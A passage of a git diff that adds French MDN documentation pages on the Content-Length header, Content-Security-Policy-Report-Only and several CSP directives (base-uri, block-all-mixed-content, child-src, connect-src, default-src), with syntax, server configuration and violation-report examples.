également</h2> + +<ul> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li> + <p><a href="https://www.w3.org/International/questions/qa-http-and-lang.en">HTTP headers, meta elements and language information</a></p> + </li> + <li> + <p><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/lang">HTML <code>lang</code> attribute</a></p> + </li> +</ul> diff --git a/files/fr/web/http/headers/content-length/index.html b/files/fr/web/http/headers/content-length/index.html new file mode 100644 index 0000000000..1cf257069e --- /dev/null +++ b/files/fr/web/http/headers/content-length/index.html @@ -0,0 +1,64 @@ +--- +title: Content-Length +slug: Web/HTTP/Headers/Content-Length +tags: + - HTTP + - en-tête + - header +translation_of: Web/HTTP/Headers/Content-Length +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête (<em>header</em>) <strong><code>Content-Length</code></strong> indique la taille en octets (exprimée en base 10) du corps de la réponse envoyée au client.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Content-Length: <longueur> +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><longueur></dt> + <dd>La longueur en octet (en base 10).</dd> +</dl> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7230", "Content-Length", "3.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">La matrice de compatibilité de cette page est générée depuis le dépôt Git https://github.com/mdn/browser-compat-data. Si vous voulez contribuer en modifiant ces données, merci de faire une <em>pull request</em> sur Github.</p> + +<p>{{Compat("http/headers/content-length")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy-report-only/index.html b/files/fr/web/http/headers/content-security-policy-report-only/index.html new file mode 100644 index 0000000000..5b0dcda285 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy-report-only/index.html @@ -0,0 +1,158 @@ +--- +title: Content-Security-Policy-Report-Only +slug: Web/HTTP/Headers/Content-Security-Policy-Report-Only +tags: + - CSP + - Content-Security-Policy + - HTTP + - HTTPS + - Reference + - Security + - Sécurité + - header +translation_of: Web/HTTP/Headers/Content-Security-Policy-Report-Only +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête de réponse HTTP <strong><code>Content-Security-Policy-Report-Only</code></strong> permet aux développeurs web d'expérimenter avec les règles CSP en contrôlant leur application sans bloquer de contenu. Ces rapports de violations sont constitués d'un document {{Glossary("JSON")}} envoyé via une requête HTTP <code>POST</code> à l'URI spécifiée.</p> + +<p>Pour plus d'informations, voir aussi cet article sur les <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + <tr> + <th colspan="2" scope="row">Cet en-tête n'est pas supporté au sein d'un élément {{HTMLElement("meta")}}.</th> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Content-Security-Policy-Report-Only: <policy-directive>; <policy-directive> +</pre> + +<h2 id="Directives">Directives</h2> + +<p>Les directives de l'en-tête {{HTTPHeader("Content-Security-Policy")}} peuvent aussi être appliquées à l'en-tête <code>Content-Security-Policy-Report-Only</code>.</p> + +<p>La directive CSP {{CSP("report-uri")}} doit être utilisée avec celui-ci, ou définir cet en-tête ne servirait à rien puisqu'aucun rapport ne serait envoyé.</p> + +<h2 id="Exemples">Exemples</h2> + +<p>Cet en-tête rapporte les violations qui seront constatées. Vous pouvez l'utiliser pour améliorer vos CSP. Vous pouvez observer comment votre site fonctionne en consultant les rapports ou <a href="https://secure.wphackedhelp.com/blog/wordpress-malware-redirect-hack-cleanup/">redirections malicieuses</a>, puis choisir les règles voulues pour bloquer le contenu avec l'en-tête {{HTTPHeader("Content-Security-Policy")}}.</p> + +<pre class="notranslate">Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + +<p>Si vous voulez toujours recevoir des rapports, mais aussi imposer des règles, utilisez l'en-tête {{HTTPHeader("Content-Security-Policy")}} avec la directive {{CSP("report-uri")}}.</p> + +<pre class="notranslate">Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + +<h2 id="Syntaxe_dun_rapport_de_violation">Syntaxe d'un rapport de violation</h2> + +<p>L'objet de rapport JSON contient les informations suivantes :</p> + +<dl> + <dt><code>blocked-uri</code></dt> + <dd>L'URI de la ressource dont le chargement a été bloqué par les règles Content Security Policy. Si l'URI bloquée est d'une origine différente que celle du document (<code>document-uri</code>), alors l'URI bloquée est tronquée pour contenir uniquement le schéma, l'hôte et le port.</dd> + <dt><code>disposition</code></dt> + <dd>Soit <code>"enforce"</code>, soit <code>"report"</code>, selon que l'en-tête qui a déclenché l'envoi du rapport est {{HTTPHeader("Content-Security-Policy")}} ou <code>Content-Security-Policy-Report-Only</code>.</dd> + <dt><code>document-uri</code></dt> + <dd>L'URI du document dans lequel la violation a eu lieu.</dd> + <dt><code>effective-directive</code></dt> + <dd>La directive qui a causé la violation.</dd> + <dt><code>original-policy</code></dt> + <dd>La règle originale telle que spécifiée par l'en-tête <code>Content-Security-Policy-Report-Only</code>.</dd> + <dt><code>referrer</code></dt> + <dd>Le référent du document dans lequel la violation a eu lieu.</dd> + <dt><code>script-sample</code></dt> + <dd>Les 40 premiers caractères du script embarqué, du gestionnaire d'évènements par attribut ou de la feuille de style qui a causé la violation.</dd> + <dt><code>status-code</code></dt> + <dd>Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié.</dd> + <dt><code>violated-directive</code></dt> + <dd>Le nom de la directive qui a été violée.</dd> +</dl> + +<h2 id="Extrait_de_rapport_de_violation">Extrait de rapport de violation</h2> + +<div>Considérons une page à l'adresse <code>http://example.com/signup.html</code>. Elle utilise la règle CSP suivante, interdisant tout excepté les feuilles de styles chargées depuis <code>cdn.example.com</code>.</div> + +<div> +<pre class="notranslate">Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre> +</div> + +<div>La page HTML correspondant à l'adresse <code>signup.html</code> ressemble à :</div> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <title>Sign Up</title> + <link rel="stylesheet" href="css/style.css"> + </head> + <body> + ... Content ... + </body> +</html></pre> + +<div>Avez-vous identifié une violation ?</div> + +<div>Les feuilles de styles ne sont acceptées que si elles sont chargées depuis <code>cdn.example.com</code>, et pourtant le site tente d'en charger une depuis sa propre origine (<code>http://example.com</code>). Un navigateur capable d'imposer des règles CSP enverra le rapport de violation suivant sous la forme d'une requête POST à l'adresse <code>http://example.com/_/csp-reports</code> quand la page sera visitée :</div> + +<pre class="brush: js notranslate">{ + "csp-report": { + "document-uri": "http://example.com/signup.html", + "referrer": "", + "blocked-uri": "http://example.com/css/style.css", + "violated-directive": "style-src cdn.example.com", + "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports", + "disposition": "report" + } +}</pre> + +<p>Comme vous le voyez, la rapport inclut le chemin complet de la ressource à l'origine de la violaton dans la propriété <code>blocked-uri</code>. Ce n'est pas toujours le cas. Par exemple, quand la page <code>signup.html</code> essaiera de charger un CSS depuis <code>http://anothercdn.example.com/stylesheet.css</code>, le navigateur n'inclura pas le chemin complet mais seulement son origine (<code>http://anothercdn.example.com</code>). Cela est fait pour empêcher les fuites d'informations sensibles à propos de ressources externes.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Security-Policy-Report-Only")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>CSP {{CSP("report-uri")}} directive</li> + <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li> + <li><a href="/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Display security and privacy policies In Firefox Developer Tools</a></li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/base-uri/index.html b/files/fr/web/http/headers/content-security-policy/base-uri/index.html new file mode 100644 index 0000000000..61f13ebb65 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/base-uri/index.html @@ -0,0 +1,111 @@ +--- +title: 'CSP: base-uri' +slug: Web/HTTP/Headers/Content-Security-Policy/base-uri +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/base-uri +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>base-uri</code></strong> restreint les URL qui peuvent être utilisées comme valeur d'un élément {{HTMLElement("base")}}. Si cette valeur est absente, alors toutes les adresses sont autorisées. Si cette directive est absente, l'agent utilisateur va utiliser la valeur dans l'élément {{HTMLElement("base")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Document directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Non, ne pas la définir autorise toutes les URL</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs <em>sources</em> peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: base-uri <source>; +Content-Security-Policy: base-uri <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>Bien que cette directive utilise les mêmes arguments que d'autres directives CSP, certains d'entre eux n'ont pas de sens concernant l'élément {{HTMLElement("base")}}, comme les valeurs <code>'unsafe-inline'</code> et <code>'strict-dynamic'</code></p> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Configuration_par_balise_<meta>">Configuration par balise <meta></h3> + +<pre class="brush: html notranslate"><meta http-equiv="Content-Security-Policy" content="base-uri 'self'"></pre> + +<h3 id="Configuration_par_Apache">Configuration par Apache</h3> + +<pre class="brush: bash notranslate"><IfModule mod_headers.c> +Header set Content-Security-Policy "base-uri 'self'"; +</IfModule></pre> + +<h3 id="Configuration_par_Nginx">Configuration par Nginx</h3> + +<pre class="brush: bash notranslate">add_header Content-Security-Policy "base-uri 'self';"</pre> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>À partir du moment où votre domaine n'est pas <code>example.com</code>, un élément {{HTMLElement("base")}} avec son attribut <code>href</code> défini à <code>https://example.com</code> résultera en une violation de CSP.</p> + +<pre class="brush: html; example-bad notranslate"><meta http-equiv="Content-Security-Policy" content="base-uri 'self'"> +<base href="https://example.com/"> + +// Error: Refused to set the document's base URI to 'https://example.com/' +// because it violates the following Content Security Policy +// directive: "base-uri 'self'"</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-base-uri", "base-uri")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-base-uri", "base-uri")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.base-uri")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPheader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("base")}}</li> + <li>{{domxref("Node.baseURI")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.html b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.html new file mode 100644 index 0000000000..c0cdeea4a4 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.html @@ -0,0 +1,70 @@ +--- +title: 'CSP: block-all-mixed-content' +slug: Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Mixed Content + - Reference + - Security + - Sécurité + - block-all-mixed-content +translation_of: Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>block-all-mixed-content</strong></code> bloque le chargement de ressources via HTTP lorsque la page utilise HTTPS.</span></p> + +<p>Toutes les requêtes vers des <a href="/fr/docs/Sécurité/MixedContent">contenus mixtes</a> sont alors bloquées, y compris les ressources actives et passives. Cela s'applique aussi aux documents {{HTMLElement("iframe")}}, assurant que la page est complètement protégée contre les contenus mixtes.</p> + +<div class="blockIndicator note"> +<p>Note : La directive {{CSP("upgrade-insecure-requests")}} est évaluée avant <code>block-all-mixed-content</code>. Si elle est définie, alors <code>block-all-mixed-content</code> n'est pas nécessaire, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP.</p> +</div> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Content-Security-Policy: block-all-mixed-content;</pre> + +<h2 id="Exemples">Exemples</h2> + +<pre class="notranslate">Content-Security-Policy: block-all-mixed-content; + +<meta http-equiv="Content-Security-Policy" content="block-all-mixed-content"> +</pre> + +<p>Pour interdire l'usage de HTTP de manière plus fine, vous pouvez aussi configurer individuellement chaque directive sur <code>https:</code>. Par exemple, pour interdire les images HTTP non sécurisées :</p> + +<pre class="notranslate">Content-Security-Policy: img-src https:</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{specName("Mixed Content", "#block-all-mixed-content", "block-all-mixed-content")}}</td> + <td>{{Spec2('Mixed Content')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilités_navigateurs">Compatibilités navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.block-all-mixed-content")}}</p> + +<h2 id="Voir_également">Voir également</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{CSP("upgrade-insecure-requests")}}</li> + <li><a href="/en-US/docs/Web/Security/Mixed_content">Mixed content</a></li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/child-src/index.html b/files/fr/web/http/headers/content-security-policy/child-src/index.html new file mode 100644 index 0000000000..cb7a175ff8 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/child-src/index.html @@ -0,0 +1,100 @@ +--- +title: 'CSP: child-src' +slug: Web/HTTP/Headers/Content-Security-Policy/child-src +tags: + - CSP + - Child + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité + - child-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/child-src +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>child-src</code></strong> définit les sources valides de <a href="/en-US/docs/Web/API/Web_Workers_API">web workers</a> et de contextes de navigations imbriqués chargés au moyen d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}. Pour les workers, les requêtes conformes sont traitées comme des erreurs de réseau fatales par l'agent utilisateur.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: child-src <source>; +Content-Security-Policy: child-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: child-src https://example.com/</pre> + +<p>Cet {{HTMLElement("iframe")}} et ce worker seront bloqués et ne se chargeront pas :</p> + +<pre class="brush: html notranslate"><iframe src="https://not-example.com"></iframe> + +<script> + var blockedWorker = new Worker("data:application/javascript,..."); +</script></pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-child-src", "child-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-child-src", "child-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.child-src")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("frame")}} and {{HTMLElement("iframe")}}</li> + <li>{{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/connect-src/index.html b/files/fr/web/http/headers/content-security-policy/connect-src/index.html new file mode 100644 index 0000000000..9914f70cf4 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/connect-src/index.html @@ -0,0 +1,129 @@ +--- +title: 'CSP: connect-src' +slug: Web/HTTP/Headers/Content-Security-Policy/connect-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité + - connect-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/connect-src +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>connect-src</strong></code> restreint les URL qui peuvent être chargées en utilisant des interfaces de programmation. Les API qui sont affectées sont :</p> + +<ul> + <li>{{HTMLElement("a")}} {{htmlattrxref("ping", "a")}},</li> + <li>{{domxref("Fetch")}},</li> + <li>{{domxref("XMLHttpRequest")}},</li> + <li>{{domxref("WebSocket")}},</li> + <li>{{domxref("EventSource")}}, and</li> + <li>{{domxref("Navigator.sendBeacon()")}}.</li> +</ul> + +<div class="note"> +<p><strong>Note:</strong> <code>connect-src 'self'</code> ne s'applique pas aux schémas de websocket pour tous les navigateurs. Pour plus d'informations, consulter : <a href="https://github.com/w3c/webappsec-csp/issues/7">https://github.com/w3c/webappsec-csp/issues/7</a>.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: connect-src <source>; +Content-Security-Policy: connect-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: connect-src https://example.com/</pre> + +<p>Les connexions suivantes seront bloquées et ne se chargeront pas :</p> + +<pre class="brush: html notranslate"><a ping="https://not-example.com"> + +<script> + var xhr = new XMLHttpRequest(); + xhr.open('GET', 'https://not-example.com/'); + xhr.send(); + + var ws = new WebSocket("https://not-example.com/"); + + var es = new EventSource("https://not-example.com/"); + + navigator.sendBeacon("https://not-example.com/", { ... }); +</script></pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-connect-src", "connect-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-connect-src", "connect-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.connect-src")}}</p> + +<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2> + +<ul> + <li>Avant Firefox 23, <code>xhr-src</code> était utilisé en lieu et place de la directive <code>connect-src</code> et ne s'appliquait qu'à l'API {{domxref("XMLHttpRequest")}}.</li> +</ul> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("a")}} {{htmlattrxref("ping", "a")}}</li> + <li>{{domxref("Fetch")}}</li> + <li>{{domxref("XMLHttpRequest")}}</li> + <li>{{domxref("WebSocket")}}</li> + <li>{{domxref("EventSource")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/default-src/index.html b/files/fr/web/http/headers/content-security-policy/default-src/index.html new file mode 100644 index 0000000000..4111dc6de1 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/default-src/index.html @@ -0,0 +1,183 @@ +--- +title: 'CSP: default-src' +slug: Web/HTTP/Headers/Content-Security-Policy/default-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - Security + - Sécurité + - default + - default-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/default-src +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>default-src</code></strong> sert de valeur par défaut pour les autres directives CSP {{Glossary("fetch directive", "fetch directives")}}.</span> Pour chacune des directives suivantes, l'agent utilisateur consultera la directive <code>default-src</code> et utilisera sa valeur pour la directive demandée si celle-ci est absente :</p> + +<ul> + <li>{{CSP("child-src")}}</li> + <li>{{CSP("connect-src")}}</li> + <li>{{CSP("font-src")}}</li> + <li>{{CSP("frame-src")}}</li> + <li>{{CSP("img-src")}}</li> + <li>{{CSP("manifest-src")}}</li> + <li>{{CSP("media-src")}}</li> + <li>{{CSP("object-src")}}</li> + <li>{{CSP("prefetch-src")}}</li> + <li>{{CSP("script-src")}}</li> + <li>{{CSP("script-src-elem")}}</li> + <li>{{CSP("script-src-attr")}}</li> + <li>{{CSP("style-src")}}</li> + <li>{{CSP("style-src-elem")}}</li> + <li>{{CSP("style-src-attr")}}</li> + <li>{{CSP("worker-src")}}</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: default-src <source>; +Content-Security-Policy: default-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<div id="common_sources"> +<p>La <source> peut être une des suivantes :</p> + +<dl> + <dt><host-source></dt> + <dd>Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un <a href="/en-US/docs/URIs_and_URLs">protocole</a> et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque <code>'*'</code>), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides.<br> + Exemples: + <ul> + <li><code>http://*.example.com</code>: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole <code>http:</code>.</li> + <li><code>mail.example.com:443</code>: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com.</li> + <li><code>https://store.example.com</code>: correspondra à toutes les tentatives d'accès à store.example.com via le protocole <code>https:</code>.</li> + <li><code>*.example.com</code>: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com en utilisant le protocole courant.</li> + </ul> + </dd> + <dt><scheme-source></dt> + <dd>Un protocole tel que <code>http:</code> ou <code>https:</code>. Les deux-points sont nécessaires. Contrairement à d'autres valeurs ci-bas, les guillemets ne devraient pas être employés. Vous pouvez aussi spécifier des schémas de données (quoi que ce ne soit pas recommandé). + <ul> + <li><code>data:</code> permet aux <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URI <code>data:</code></a> d'être utilisées comme sources de contenu.<em> Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie certainement pas pour des scripts.</em></li> + <li><code>mediastream:</code> permet aux <a href="/en-US/docs/Web/API/MediaStream_API">URI <code>mediastream:</code></a> d'être utilisées comme source de contenu.</li> + <li><code>blob:</code> permet aux <a href="/en-US/docs/Web/API/Blob">URI <code>blob:</code></a> d'être utilisées comme source de contenu.</li> + <li><code>filesystem:</code> Allows <a href="/en-US/docs/Web/API/FileSystem">URI <code>filesystem:</code></a> d'être utilisées comme source de contenu.</li> + </ul> + </dd> + <dt><code>'self'</code></dt> + <dd>Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs <code>blob</code> et <code>filesystem</code> des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data.</dd> + <dt><code>'unsafe-eval'</code></dt> + <dd>Permet l'usage de la fonction <code>eval()</code> et de méthodes similaires pour créer du code à partir de chaines de caractères. Vous devez mettre cette valeur entre guillemets.</dd> + <dt id="unsafe-hashes"><code>'unsafe-hashes'</code></dt> + <dd>Permet l'usage de certains <a href="/en-US/docs/Web/Guide/Events/Event_handlers">écouteurs d'évènements</a> par attributs. Si vous n'avez besoin que d'écouteurs d'évènements par attributs et non d'éléments {{HTMLElement("script")}} embarqués ou d'URL <code>javascript:</code>, cette valeur est plus sécurisée que <code>unsafe-inline</code>.</dd> + <dt><code>'unsafe-inline'</code></dt> + <dd>Permet l'usage de ressources embarquées, tels que des éléments {{HTMLElement("script")}} (sans <code>src</code>), d'URL <code>javascript:</code>, de gestionnaire d'évènement par attributs (<code>on<eventName></code>), et d'éléments {{HTMLElement("style")}}. Vous devez mettre cette valeur entre guillemets.</dd> + <dt><code>'none'</code></dt> + <dd>Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets.</dd> + <dt>'nonce-<base64-value>'</dt> + <dd>Une liste de permissions pour des scripts embarqués spécifiques en utilisant un nonce (<em>number used once</em>, nombre à usage unique) cryptographique. Le serveur doit générer un nonce à chaque fois qu'il transmet une réponse. Il est extrèmement important de fournir des nonces non prédictibles, puisque le contraire permettrait aisément de contourner la stratégie de sécurité. Voir <a 